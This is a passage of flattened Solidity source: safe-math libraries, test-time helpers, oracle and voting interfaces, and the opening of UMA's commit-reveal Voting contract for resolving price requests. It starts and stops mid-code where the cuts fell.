* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/VotingInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data.
abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run on the test network, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) internal {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "./VotingAncillaryInterface.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint256 time;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint256 time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint256 time;
int256 price;
int256 salt;
}
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) external virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(Commitment[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(Reveal[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
virtual
returns (VotingAncillaryInterface.PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() public {
currentTime = now; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingAncillaryInterface {
struct PendingRequestAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct CommitmentAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct RevealAncillary {
bytes32 identifier;
uint256 time;
int256 price;
bytes ancillaryData;
int256 salt;
}
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
// `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last.
enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER }
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "./Registry.sol";
import "./ResultComputation.sol";
import "./VoteTiming.sol";
import "./VotingToken.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* @title Voting system for Oracle.
* @dev Handles receiving and resolving price requests via a commit-reveal voting scheme.
*/
contract Voting is
Testable,
Ownable,
OracleInterface,
OracleAncillaryInterface, // Interface to support ancillary data with price requests.
VotingInterface,
VotingAncillaryInterface // Interface to support ancillary data with voting rounds.
{
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
/****************************************
* VOTING DATA STRUCTURES *
****************************************/
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint256 time;
// A map containing all votes for this price in various rounds.
mapping(uint256 => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint256 lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint256 index;
bytes ancillaryData;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
/****************************************
* INTERNAL TRACKING *
****************************************/
// Maps round numbers to the rounds.
mapping(uint256 => Round) public rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved.
// These requests may be for future rounds.
bytes32[] internal pendingPriceRequests;
VoteTiming.Data public voteTiming;
// Percentage of the total token supply that must be used in a vote to
// create a valid price resolution. 1 == 100%.
FixedPoint.Unsigned public gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters.
// Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%.
FixedPoint.Unsigned public inflationRate;
// Time in seconds from the end of the round in which a price request is
// resolved that voters can still claim their rewards.
uint256 public rewardsExpirationTimeout;
// Reference to the voting token.
VotingToken public votingToken;
// Reference to the Finder.
FinderInterface private finder;
// If non-zero, this contract has been migrated to this address. All voters and
// financial contracts should query the new address only.
address public migratedAddress;
// Max value of an unsigned integer.
uint256 private constant UINT_MAX = ~uint256(0);
// Max length in bytes of ancillary data that can be appended to a price request.
// As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily
// comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to
// storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function
// well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here:
// - https://etherscan.io/chart/gaslimit
// - https://github.com/djrtwo/evm-opcode-gas-costs
uint256 public constant ancillaryBytesLimit = 8192;
bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot")));
/***************************************
* EVENTS *
****************************************/
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
/**
* @notice Construct the Voting contract.
* @param _phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution.
* @param _inflationRate percentage inflation per round used to increase token supply of correct voters.
* @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed.
* @param _votingToken address of the UMA token contract used to commit votes.
* @param _finder keeps track of all contracts within the system based on their interfaceName.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
) public Testable(_timerAddress) {
voteTiming.init(_phaseLength);
require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%");
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = FinderInterface(_finder);
rewardsExpirationTimeout = _rewardsExpirationTimeout;
}
/***************************************
MODIFIERS
****************************************/
modifier onlyRegisteredContract() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Caller must be migrated address");
} else {
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
require(registry.isContractRegistered(msg.sender), "Called must be registered");
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0), "Only call this if not migrated");
_;
}
/****************************************
* PRICE REQUEST AND ACCESS FUNCTIONS *
****************************************/
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported. The length of the ancillary data
* is limited such that this method abides by the EVM transaction gas limit.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override onlyRegisteredContract() {
uint256 blockTime = getCurrentTime();
require(time <= blockTime, "Can only request in past");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.NotRequested) {
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint256 nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length,
ancillaryData: ancillaryData
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function requestPrice(bytes32 identifier, uint256 time) public override {
requestPrice(identifier, time, "");
}
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (bool) {
(bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData);
return _hasPrice;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
return hasPrice(identifier, time, "");
}
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (int256) {
(bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData);
// If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
return getPrice(identifier, time, "");
}
/**
* @notice Gets the status of a list of price requests, identified by their identifier and time.
* @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0.
* @param requests array of type PendingRequest which includes an identifier and timestamp for each request.
* @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests.
*/
function getPriceRequestStatuses(PendingRequestAncillary[] memory requests)
public
view
returns (RequestState[] memory)
{
RequestState[] memory requestStates = new RequestState[](requests.length);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
for (uint256 i = 0; i < requests.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData);
RequestStatus status = _getRequestStatus(priceRequest, currentRoundId);
// If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated.
if (status == RequestStatus.Active) {
requestStates[i].lastVotingRound = currentRoundId;
} else {
requestStates[i].lastVotingRound = priceRequest.lastVotingRound;
}
requestStates[i].status = status;
}
return requestStates;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) {
PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length);
for (uint256 i = 0; i < requests.length; i++) {
requestsAncillary[i].identifier = requests[i].identifier;
